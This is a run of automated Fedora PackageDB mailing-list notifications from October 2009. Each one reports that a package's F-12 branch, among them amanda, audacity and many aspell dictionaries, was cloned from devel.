Date: Sat, 03 Oct 2009 16:08:47 +0000
Subject: [pkgdb] amanda F-12 cloned from devel
Message-ID: <20091003160847.79AC310F911@bastion2.fedora.phx.redhat.com>

toshio cloned amanda F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amanda



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:01 +0000
Subject: [pkgdb] R-GeneR F-12 cloned from devel
Message-ID: <20091003160301.62D1610F910@bastion2.fedora.phx.redhat.com>

toshio cloned R-GeneR F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-GeneR



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:28 +0000
Subject: [pkgdb] SIBsim4 F-12 cloned from devel
Message-ID: <20091003160428.2237210F99B@bastion2.fedora.phx.redhat.com>

toshio cloned SIBsim4 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SIBsim4



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:22 +0000
Subject: [pkgdb] PySolFC F-12 cloned from devel
Message-ID: <20091003160222.51C5710F93A@bastion2.fedora.phx.redhat.com>

toshio cloned PySolFC F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PySolFC



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:22 +0000
Subject: [pkgdb] SDL_net F-12 cloned from devel
Message-ID: <20091003160422.AB3BA10F8F9@bastion2.fedora.phx.redhat.com>

toshio cloned SDL_net F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL_net



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:20 +0000
Subject: [pkgdb] akonadi F-12 cloned from devel
Message-ID: <20091003160720.85D8D10F992@bastion2.fedora.phx.redhat.com>

toshio cloned akonadi F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/akonadi



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:39 +0000
Subject: [pkgdb] SimGear F-12 cloned from devel
Message-ID: <20091003160439.6905710F99E@bastion2.fedora.phx.redhat.com>

toshio cloned SimGear F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SimGear



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:39 +0000
Subject: [pkgdb] autodir F-12 cloned from devel
Message-ID: <20091003161439.C72B710FAB8@bastion2.fedora.phx.redhat.com>

toshio cloned autodir F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autodir



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:56 +0000
Subject: [pkgdb] apcupsd F-12 cloned from devel
Message-ID: <20091003160956.DD84C10F97A@bastion2.fedora.phx.redhat.com>

toshio cloned apcupsd F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apcupsd



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:49 +0000
Subject: [pkgdb] amanith F-12 cloned from devel
Message-ID: <20091003160849.1DB4910F9A6@bastion2.fedora.phx.redhat.com>

toshio cloned amanith F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amanith



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:37 +0000
Subject: [pkgdb] athcool F-12 cloned from devel
Message-ID: <20091003161337.95F0F10FA86@bastion2.fedora.phx.redhat.com>

toshio cloned athcool F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/athcool



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:30 +0000
Subject: [pkgdb] adjtimex F-12 cloned from devel
Message-ID: <20091003160630.65CFC10F97D@bastion2.fedora.phx.redhat.com>

toshio cloned adjtimex F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adjtimex



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:37 +0000
Subject: [pkgdb] autodafe F-12 cloned from devel
Message-ID: <20091003161437.E2C2A10F9F9@bastion2.fedora.phx.redhat.com>

toshio cloned autodafe F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autodafe



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:24 +0000
Subject: [pkgdb] alsa-oss F-12 cloned from devel
Message-ID: <20091003160824.B5B2310F954@bastion2.fedora.phx.redhat.com>

toshio cloned alsa-oss F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alsa-oss



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:44 +0000
Subject: [pkgdb] atlascpp F-12 cloned from devel
Message-ID: <20091003161344.DBD6810F9E5@bastion2.fedora.phx.redhat.com>

toshio cloned atlascpp F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atlascpp



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:56 +0000
Subject: [pkgdb] MochiKit F-12 cloned from devel
Message-ID: <20091003160056.79D5C10F8FF@bastion2.fedora.phx.redhat.com>

toshio cloned MochiKit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/MochiKit



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:45 +0000
Subject: [pkgdb] OpenIPMI F-12 cloned from devel
Message-ID: <20091003160145.7154510F91D@bastion2.fedora.phx.redhat.com>

toshio cloned OpenIPMI F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/OpenIPMI



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:31 +0000
Subject: [pkgdb] R-lmtest F-12 cloned from devel
Message-ID: <20091003160331.660E510F91D@bastion2.fedora.phx.redhat.com>

toshio cloned R-lmtest F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-lmtest



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:04 +0000
Subject: [pkgdb] alliance F-12 cloned from devel
Message-ID: <20091003160804.E50AA10F948@bastion2.fedora.phx.redhat.com>

toshio cloned alliance F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alliance



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:20 +0000
Subject: [pkgdb] acpitool F-12 cloned from devel
Message-ID: <20091003160620.C1EDC10F91D@bastion2.fedora.phx.redhat.com>

toshio cloned acpitool F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/acpitool



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:04 +0000
Subject: [pkgdb] TnL-data F-12 cloned from devel
Message-ID: <20091003160504.3488C10F8DD@bastion2.fedora.phx.redhat.com>

toshio cloned TnL-data F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/TnL-data



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:21 +0000
Subject: [pkgdb] apr-util F-12 cloned from devel
Message-ID: <20091003161021.2CB0810F9FF@bastion2.fedora.phx.redhat.com>

toshio cloned apr-util F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apr-util



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:42 +0000
Subject: [pkgdb] QuantLib F-12 cloned from devel
Message-ID: <20091003160242.EB25310F955@bastion2.fedora.phx.redhat.com>

toshio cloned QuantLib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/QuantLib



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:22 +0000
Subject: [pkgdb] arptools F-12 cloned from devel
Message-ID: <20091003161122.DAB7010FA2B@bastion2.fedora.phx.redhat.com>

toshio cloned arptools F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arptools



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:48 +0000
Subject: [pkgdb] R-qvalue F-12 cloned from devel
Message-ID: <20091003160348.A2D6410F982@bastion2.fedora.phx.redhat.com>

toshio cloned R-qvalue F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-qvalue



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:24 +0000
Subject: [pkgdb] arpwatch F-12 cloned from devel
Message-ID: <20091003161124.5221F10FA2C@bastion2.fedora.phx.redhat.com>

toshio cloned arpwatch F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arpwatch



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:16 +0000
Subject: [pkgdb] animorph F-12 cloned from devel
Message-ID: <20091003160916.E0A1010F9DD@bastion2.fedora.phx.redhat.com>

toshio cloned animorph F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/animorph



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:13 +0000
Subject: [pkgdb] SDL_Pango F-12 cloned from devel
Message-ID: <20091003160413.848AB10F994@bastion2.fedora.phx.redhat.com>

toshio cloned SDL_Pango F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL_Pango



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:10 +0000
Subject: [pkgdb] aspell-fr F-12 cloned from devel
Message-ID: <20091003161210.AF41710F94B@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-fr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-fr



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:44 +0000
Subject: [pkgdb] aspell-af F-12 cloned from devel
Message-ID: <20091003161144.D1E4710FA3A@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-af F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-af



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:01 +0000
Subject: [pkgdb] assogiate F-12 cloned from devel
Message-ID: <20091003161301.3C92F10FA6D@bastion2.fedora.phx.redhat.com>

toshio cloned assogiate F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/assogiate



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:06 +0000
Subject: [pkgdb] aspell-es F-12 cloned from devel
Message-ID: <20091003161206.4E24E10F9A3@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-es F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-es



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:19 +0000
Subject: [pkgdb] aspell-gl F-12 cloned from devel
Message-ID: <20091003161219.49F1010F954@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-gl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-gl



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:50 +0000
Subject: [pkgdb] argyllcms F-12 cloned from devel
Message-ID: <20091003161050.9ECC010F98C@bastion2.fedora.phx.redhat.com>

toshio cloned argyllcms F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/argyllcms



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:27 +0000
Subject: [pkgdb] alchemist F-12 cloned from devel
Message-ID: <20091003160727.5FB4810F934@bastion2.fedora.phx.redhat.com>

toshio cloned alchemist F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alchemist



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:27 +0000
Subject: [pkgdb] aspell-hr F-12 cloned from devel
Message-ID: <20091003161227.978F810FA54@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-hr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-hr



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:55 +0000
Subject: [pkgdb] aspell-sv F-12 cloned from devel
Message-ID: <20091003161255.E1A4E10FA6A@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-sv F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-sv



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:49 +0000
Subject: [pkgdb] apachetop F-12 cloned from devel
Message-ID: <20091003160949.B2D7D10F91D@bastion2.fedora.phx.redhat.com>

toshio cloned apachetop F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apachetop



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:12 +0000
Subject: [pkgdb] aspell-ga F-12 cloned from devel
Message-ID: <20091003161212.7CA1410FA4D@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-ga F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-ga



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:58 +0000
Subject: [pkgdb] Terminal F-12 cloned from devel
Message-ID: <20091003160458.3A0A310F94B@bastion2.fedora.phx.redhat.com>

toshio cloned Terminal F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Terminal



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:12 +0000
Subject: [pkgdb] armadillo F-12 cloned from devel
Message-ID: <20091003161112.19C3510FA21@bastion2.fedora.phx.redhat.com>

toshio cloned armadillo F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/armadillo



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:23 +0000
Subject: [pkgdb] asymptote F-12 cloned from devel
Message-ID: <20091003161323.445EA10F9A9@bastion2.fedora.phx.redhat.com>

toshio cloned asymptote F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asymptote



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:25 +0000
Subject: [pkgdb] aspell-hi F-12 cloned from devel
Message-ID: <20091003161225.BCB2D10F959@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-hi F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-hi



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:05 +0000
Subject: [pkgdb] PyAmanith F-12 cloned from devel
Message-ID: <20091003160205.5383010F8C6@bastion2.fedora.phx.redhat.com>

toshio cloned PyAmanith F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyAmanith



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:31 +0000
Subject: [pkgdb] aqbanking F-12 cloned from devel
Message-ID: <20091003161031.6FE2C10FA05@bastion2.fedora.phx.redhat.com>

toshio cloned aqbanking F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aqbanking



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:43 +0000
Subject: [pkgdb] altermime F-12 cloned from devel
Message-ID: <20091003160843.6AECF10F90F@bastion2.fedora.phx.redhat.com>

toshio cloned altermime F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/altermime



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:58 +0000
Subject: [pkgdb] aspell-ta F-12 cloned from devel
Message-ID: <20091003161258.7BB6B10F9D4@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-ta F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-ta



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:59 +0000
Subject: [pkgdb] aspell-te F-12 cloned from devel
Message-ID: <20091003161259.D8F0D10FA6C@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-te F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-te



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:47 +0000
Subject: [pkgdb] aspell-pt F-12 cloned from devel
Message-ID: <20091003161247.9E52E10F9D1@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-pt F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-pt



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:01 +0000
Subject: [pkgdb] aspell-de F-12 cloned from devel
Message-ID: <20091003161201.2C79A10F9A1@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-de F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-de



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:29 +0000
Subject: [pkgdb] aspell-id F-12 cloned from devel
Message-ID: <20091003161229.6518E10F95C@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-id F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-id



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:06 +0000
Subject: [pkgdb] RasmusDSP F-12 cloned from devel
Message-ID: <20091003160406.3FAC710F92F@bastion2.fedora.phx.redhat.com>

toshio cloned RasmusDSP F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/RasmusDSP



From pkgdb at fedoraproject.org  Sat Oct  3 16:12:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:12:14 +0000
Subject: [pkgdb] aspell-gd F-12 cloned from devel
Message-ID: <20091003161214.E812E10F952@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-gd F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-gd



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:10 +0000
Subject: [pkgdb] R-RSQLite F-12 cloned from devel
Message-ID: <20091003160310.633CD10F912@bastion2.fedora.phx.redhat.com>

toshio cloned R-RSQLite F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-RSQLite



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:54 +0000
Subject: [pkgdb] aspell-ca F-12 cloned from devel
Message-ID: <20091003161154.6733210F8B5@bastion2.fedora.phx.redhat.com>

toshio cloned aspell-ca F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aspell-ca



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:08 +0000
Subject: [pkgdb] aiksaurus F-12 cloned from devel
Message-ID: <20091003160708.4BEB510F8D8@bastion2.fedora.phx.redhat.com>

toshio cloned aiksaurus F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aiksaurus



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:03 +0000
Subject: [pkgdb] audacity F-12 cloned from devel
Message-ID: <20091003161403.C409A10F9EC@bastion2.fedora.phx.redhat.com>

toshio cloned audacity F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audacity



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:37 +0000
Subject: [pkgdb] PythonCAD F-12 cloned from devel
Message-ID: <20091003160237.B0A1110F94F@bastion2.fedora.phx.redhat.com>

toshio cloned PythonCAD F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PythonCAD



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:49 +0000
Subject: [pkgdb] PackageKit F-12 cloned from devel
Message-ID: <20091003160150.0025F10F920@bastion2.fedora.phx.redhat.com>

toshio cloned PackageKit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PackageKit



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:57 +0000
Subject: [pkgdb] automake17 F-12 cloned from devel
Message-ID: <20091003161457.8FAF710F927@bastion2.fedora.phx.redhat.com>

toshio cloned automake17 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/automake17



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:31 +0000
Subject: [pkgdb] alsa-tools F-12 cloned from devel
Message-ID: <20091003160831.0B82910F90E@bastion2.fedora.phx.redhat.com>

toshio cloned alsa-tools F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alsa-tools



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:29 +0000
Subject: [pkgdb] apt-mirror F-12 cloned from devel
Message-ID: <20091003161029.79F4910FA03@bastion2.fedora.phx.redhat.com>

toshio cloned apt-mirror F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apt-mirror



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:47 +0000
Subject: [pkgdb] R-BSgenome F-12 cloned from devel
Message-ID: <20091003160247.CEEC810F95D@bastion2.fedora.phx.redhat.com>

toshio cloned R-BSgenome F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-BSgenome



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:38 +0000
Subject: [pkgdb] R-multtest F-12 cloned from devel
Message-ID: <20091003160339.1BC7F10F97C@bastion2.fedora.phx.redhat.com>

toshio cloned R-multtest F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-multtest



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:40 +0000
Subject: [pkgdb] ax25-tools F-12 cloned from devel
Message-ID: <20091003161540.595AD10FAD8@bastion2.fedora.phx.redhat.com>

toshio cloned ax25-tools F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ax25-tools



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:42 +0000
Subject: [pkgdb] SolarModel F-12 cloned from devel
Message-ID: <20091003160442.C7B7010F9A0@bastion2.fedora.phx.redhat.com>

toshio cloned SolarModel F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SolarModel



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:48 +0000
Subject: [pkgdb] alienarena F-12 cloned from devel
Message-ID: <20091003160748.29FBC10F9C8@bastion2.fedora.phx.redhat.com>

toshio cloned alienarena F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alienarena



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:12 +0000
Subject: [pkgdb] WindowMaker F-12 cloned from devel
Message-ID: <20091003160512.6FA7410F95B@bastion2.fedora.phx.redhat.com>

toshio cloned WindowMaker F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/WindowMaker



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:25 +0000
Subject: [pkgdb] authconfig F-12 cloned from devel
Message-ID: <20091003161425.C9E9A10F9F7@bastion2.fedora.phx.redhat.com>

toshio cloned authconfig F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/authconfig



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:41 +0000
Subject: [pkgdb] advancecomp F-12 cloned from devel
Message-ID: <20091003160641.ECB4910F927@bastion2.fedora.phx.redhat.com>

toshio cloned advancecomp F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/advancecomp



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:33 +0000
Subject: [pkgdb] autoarchive F-12 cloned from devel
Message-ID: <20091003161433.39E8010FAB2@bastion2.fedora.phx.redhat.com>

toshio cloned autoarchive F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autoarchive



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:07 +0000
Subject: [pkgdb] astromenace F-12 cloned from devel
Message-ID: <20091003161307.50B3010FA72@bastion2.fedora.phx.redhat.com>

toshio cloned astromenace F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/astromenace



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:16 +0000
Subject: [pkgdb] NaturalDocs F-12 cloned from devel
Message-ID: <20091003160116.756AD10F892@bastion2.fedora.phx.redhat.com>

toshio cloned NaturalDocs F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/NaturalDocs



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:58 +0000
